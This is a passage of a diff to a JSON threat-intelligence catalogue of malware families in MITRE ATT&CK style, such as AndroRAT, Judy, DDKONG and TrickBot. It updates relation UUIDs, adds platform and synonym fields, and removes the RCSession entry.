"https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks", "https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html" ], "synonyms": [ @@ -37125,28 +35820,28 @@ }, "related": [ { - "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37160,14 +35855,35 @@ "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37181,7 +35897,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37194,13 +35910,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -37209,7 +35918,7 @@ "type": "uses" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37299,13 +36008,6 @@ ], "type": "uses" }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -37334,13 +36036,6 @@ ], "type": "uses" }, - { - "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", "tags": [ @@ -37348,13 +36043,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -37411,13 +36099,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -37718,14 +36399,20 @@ "description": "[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)", "meta": { "external_id": "S0292", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0292", "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "synonyms": [ + "AndroRAT" ] }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37738,6 +36425,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "80447111-8085-40a4-a052-420926091ac6", "tags": [ @@ -37753,14 +36447,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37795,13 +36482,6 @@ ], "type": "uses" }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -37906,6 +36586,13 @@ ] }, "related": [ + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6e0545df-8df6-4990-971c-e96c4c60d561", "tags": [ @@ -37920,26 +36607,19 @@ ], "type": "uses" }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950", @@ -38045,13 +36725,6 @@ ] }, "related": [ - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -38059,13 +36732,6 @@ ], "type": "uses" }, - { - "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", "tags": [ @@ -38073,6 +36739,20 @@ ], "type": "uses" }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -38081,14 +36761,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38107,6 +36787,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "108b2817-bc01-404e-8e1b-8cdeec846326", @@ -38373,13 +37067,6 @@ ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -38388,14 +37075,7 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38429,6 +37109,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -38437,7 +37124,21 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38458,14 +37159,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38638,14 +37332,21 @@ "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38659,14 +37360,21 @@ "type": "uses" }, { - "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38686,13 +37394,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -38701,7 +37402,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38848,9 +37556,15 @@ "description": "[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)", "meta": { "external_id": "S0325", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0325", "https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/" + ], + "synonyms": [ + "Judy" ] }, "related": [ @@ -38862,7 +37576,7 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39404,21 +38118,7 @@ }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39432,7 +38132,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39910,7 +38617,7 @@ "value": "GravityRAT - S0237" }, { - "description": "[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", "meta": { "external_id": "S0372", "mitre_platforms": [ @@ -40050,13 +38757,6 @@ ] }, "related": [ - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -40071,6 +38771,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -40093,14 +38800,14 @@ "type": "uses" }, { - "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40587,10 +39294,16 @@ "description": "[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)", "meta": { "external_id": "S0293", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/", "https://attack.mitre.org/software/S0293", "https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/" + ], + "synonyms": [ + "BrainTest" ] }, "related": [ @@ -40601,13 +39314,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -40616,7 +39322,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40845,13 +39558,6 @@ ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -40867,14 +39573,14 @@ "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40893,6 +39599,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "35aae10a-97c5-471a-9c67-02c231a7a31a", @@ -41129,6 +39842,20 @@ ] }, "related": [ + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -41137,14 +39864,7 @@ "type": "uses" }, { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41158,21 +39878,7 @@ "type": "uses" }, { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41184,6 +39890,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f082fc59-0317-49cf-971f-a1b6296ebb52", @@ -42112,13 +40832,6 @@ ] }, "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -42127,21 +40840,7 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42155,7 +40854,21 @@ "type": "uses" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42169,7 +40882,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42211,7 +40931,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42441,6 +41161,13 @@ ], "type": "uses" }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -42518,13 +41245,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -43007,9 +41727,15 @@ "description": "[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)", "meta": { "external_id": "S0294", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0294", "https://blog.lookout.com/blog/2015/11/04/trojanized-adware/" + ], + "synonyms": [ + "ShiftyBug" ] }, "related": [ @@ -43028,7 +41754,7 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -43237,9 +41963,15 @@ "description": "[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)", "meta": { "external_id": "S0255", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0255", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + ], + "synonyms": [ + "DDKONG" ] }, "related": [ @@ -44626,9 +43358,15 @@ "description": "[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)", "meta": { "external_id": "S0285", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://thehackernews.com/2014/01/first-widely-distributed-android.html", "https://attack.mitre.org/software/S0285" + ], + "synonyms": [ + "OldBoot" ] }, "related": [ @@ -44861,14 +43599,14 @@ "type": "uses" }, { - "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -44889,7 +43627,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45012,13 +43750,6 @@ ] }, "related": [ - { - "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -45061,6 +43792,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -45069,14 +43807,14 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45111,7 +43849,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45591,175 +44336,6 @@ "uuid": "00806466-754d-44ea-ad6f-0caf59cb8556", "value": "TrickBot - S0266" }, - { - "description": "[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)", - "meta": { - "external_id": "S0662", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0662", - "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", - "https://www.secureworks.com/research/bronze-president-targets-ngos", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" - ], - "synonyms": [ - "RCSession" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - 